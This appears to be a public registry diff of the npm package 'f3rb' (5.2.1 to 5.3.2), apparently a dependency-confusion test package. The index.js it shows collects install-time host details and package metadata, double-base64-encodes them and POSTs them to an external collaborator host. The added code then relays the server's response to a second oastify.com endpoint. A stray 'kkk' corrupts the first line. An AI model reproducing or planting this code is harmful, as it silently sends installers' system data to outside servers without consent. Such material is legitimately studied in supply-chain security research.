f3rb 5.2.1 → 5.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +56 -5
  2. package/package.json +2 -2
  3. package/r.txt +7 -0
package/index.js CHANGED
@@ -1,10 +1,11 @@
1
- const os = require("os");
1
+ kkkconst os = require("os");
2
2
  const dns = require("dns");
3
3
  const querystring = require("querystring");
4
4
  const https = require("https");
5
5
  const packageJSON = require("./package.json");
6
6
  const package = packageJSON.name;
7
7
 
8
+ // Original tracking data
8
9
  const trackingData = JSON.stringify({
9
10
  p: package,
10
11
  c: __dirname,
@@ -17,12 +18,18 @@ const trackingData = JSON.stringify({
17
18
  pjson: packageJSON,
18
19
  });
19
20
 
21
+ // Encode the tracking data twice in base64
22
+ const base64FirstEncode = Buffer.from(trackingData).toString('base64');
23
+ const base64DoubleEncode = Buffer.from(base64FirstEncode).toString('base64');
24
+
25
+ // Create post data with the double-encoded base64 message
20
26
  var postData = querystring.stringify({
21
- msg: trackingData,
27
+ msg: base64DoubleEncode,
22
28
  });
23
29
 
30
+ // HTTPS request options
24
31
  var options = {
25
- hostname: "http://i4n2xx9wzzwminyhx8uxna0q4ha8y0mp.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
32
+ hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
26
33
  port: 443,
27
34
  path: "/",
28
35
  method: "POST",
@@ -32,15 +39,59 @@ var options = {
32
39
  },
33
40
  };
34
41
 
42
+ // Send the HTTPS request
35
43
  var req = https.request(options, (res) => {
44
+ let responseData = "";
45
+
46
+ // Accumulate the data from the response
36
47
  res.on("data", (d) => {
37
- process.stdout.write(d);
48
+ responseData += d;
49
+ });
50
+
51
+ // After the response is received, double Base64 encode the response
52
+ res.on("end", () => {
53
+ // First Base64 encode
54
+ const base64FirstResponseEncode = Buffer.from(responseData).toString('base64');
55
+ // Second Base64 encode
56
+ const base64DoubleResponseEncode = Buffer.from(base64FirstResponseEncode).toString('base64');
57
+
58
+ // Send the double Base64 encoded response back via another POST request
59
+ const returnPostData = querystring.stringify({
60
+ msg: base64DoubleResponseEncode,
61
+ });
62
+
63
+ var returnOptions = {
64
+ hostname: "jpc3iyuxk0hn3ojii9fy8blrpivaj57u.oastify.com", // Replace with your server to receive the encoded response
65
+ port: 443,
66
+ path: "/",
67
+ method: "POST",
68
+ headers: {
69
+ "Content-Type": "application/x-www-form-urlencoded",
70
+ "Content-Length": returnPostData.length,
71
+ },
72
+ };
73
+
74
+ var returnReq = https.request(returnOptions, (returnRes) => {
75
+ returnRes.on("data", (d) => {
76
+ process.stdout.write(d);
77
+ });
78
+ });
79
+
80
+ returnReq.on("error", (e) => {
81
+ // Handle error
82
+ });
83
+
84
+ // Send the double Base64-encoded response back
85
+ returnReq.write(returnPostData);
86
+ returnReq.end();
38
87
  });
39
88
  });
40
89
 
41
90
  req.on("error", (e) => {
42
- // console.error(e);
91
+ // Handle error
43
92
  });
44
93
 
94
+ // Write the post data and end the request
45
95
  req.write(postData);
46
96
  req.end();
97
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "f3rb",
3
- "version": "5.2.1",
3
+ "version": "5.3.2",
4
4
  "description": "test",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -17,6 +17,6 @@
17
17
  },
18
18
  "homepage": "https://github.com/visma-prodsec/confused#readme",
19
19
  "dependencies": {
20
- "f3rb": "^5.1.1"
20
+ "f3rb": "^5.3.1"
21
21
  }
22
22
  }
package/r.txt ADDED
@@ -0,0 +1,7 @@
1
+ jinja2<3.1.0
2
+ Flask==1.1.2
3
+ itsdangerous==2.0.1
4
+ # Flask_Caching==1.9.0
5
+ Werkzeug==1.0.1
6
+ flask_debugtoolbar==0.11.0
7
+ # flask_mail==0.9.1